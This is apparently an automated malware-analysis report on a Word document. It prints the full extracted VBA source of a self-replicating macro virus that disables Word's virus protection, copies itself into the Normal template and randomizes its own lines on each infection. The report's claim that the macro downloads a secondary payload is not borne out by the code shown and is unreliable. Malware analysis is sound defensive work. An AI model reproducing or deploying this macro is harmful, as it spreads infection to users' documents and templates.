MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an Office document containing VBA macros, specifically triggering on the Document_Open event. The macro attempts to export its code to 'c:\frurby.sys' and then add it back, suggesting it's part of a payload staging or obfuscation process. The presence of the Document_Open macro and the ClamAV detection strongly indicate malicious intent, likely to download and execute a secondary payload.
Heuristics 3
-
ClamAV: Doc.Trojan.CPCK-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.CPCK-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8542 bytes |
SHA-256: f973bed6688443ce09b66f5024f247d24ba10a7dca7a019827040aae202df96a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
PLM = GGR + AQR
On Error Resume Next
PAJ = SRI + VTB
DF1 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
UIL = QBN + KGN
Options.VirusProtection = 0
OFG = SSM + VUE
Options.SaveNormalPrompt = 0
PVF = LCV + OAM
Application.EnableCancelKey = 0
CCR = GBG + IGU
CK41 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
VIG = DDO + JJP
Options.ConfirmConversions = 0
HNE = EMB + KTF
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
RIG = UNN + JCM
Set PQ45 = ActiveDocument.VBProject.VBComponents.Item(1)
PUS = ALU + JOL
LR35 = True
LKH = IFB + FVB
End If
IIK = DKF + NLD
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
UOL = ICR + KQN
Set PQ45 = NormalTemplate.VBProject.VBComponents.Item(1)
SAE = BCH + CAL
OG28 = True
OLS = BEO + JHD
End If
PUL = BQI + KKE
If OG28 = True Then
HCM = DUC + JGT
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\frurby.sys"
QGO = FBA + HRG
PQ45.CodeModule.AddFromFile ("c:\frurby.sys")
FKF = HAK + ETM
PQ45.CodeModule.deletelines 1, 4
QUH = LBN + JVC
PQ45.CodeModule.replaceline 1, "Sub Document_Close()"
UNH = DKE + VCA
ElseIf LR35 = True Then
HMU = LIS + SOP
PQ45.CodeModule.AddFromFile ("c:\frurby.sys")
VHK = JPD + JLR
PQ45.CodeModule.deletelines 1, 4
LJL = FNK + OTI
End If
GGD = LEM + HTK
With PQ45.CodeModule
EPQ = NRD + REV
For x = 2 To (PQ45.CodeModule.CountOfLines - 2) Step 2
BBR = IKC + CDB
.replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))
PLM = EKQ + QIT
Next x
QBN = PAJ + IGV
End With
RPJ = QGH + JUC
FP22:
OHC = EBJ + VLK
MsgBox "Birthday of Furby"
VEI = IGL + DLV
End Sub
' Processing file: /opt/analyzer/scan_staging/a49e7508b8474602b4facfb81847694b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7786 bytes
' Line #0:
' FuncDefn (Sub Document_Open())
' Line #1:
' Ld GGR
' Ld AQR
' Add
' St PLM
' Line #2:
' OnError (Resume Next)
' Line #3:
' Ld SRI
' Ld VTB
' Add
' St PAJ
' Line #4:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St DF1
' Line #5:
' Ld QBN
' Ld KGN
' Add
' St UIL
' Line #6:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #7:
' Ld SSM
' Ld VUE
' Add
' St OFG
' Line #8:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #9:
' Ld LCV
' Ld OAM
' Add
' St PVF
' Line #10:
' LitDI2 0x0000
' Ld Application
' MemSt EnableCancelKey
' Line #11:
' Ld GBG
' Ld IGU
' Add
' St CCR
' Line #12:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St CK41
' Line #13:
' Ld DDO
' Ld JJP
' Add
' St VIG
' Line #14:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #15:
' Ld EMB
' Ld KTF
' Add
' St HNE
' Line #16:
' LitDI2 0x0001
' LitDI2 0x0003
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitDI2 0x0003
' ArgsLd LBound 0x0002
' LitStr 0x0003 "Sub"
' Ne
' IfBlock
' Line #17:
' Ld UNN
' Ld JCM
' Add
' St RIG
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set PQ45
' Line
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.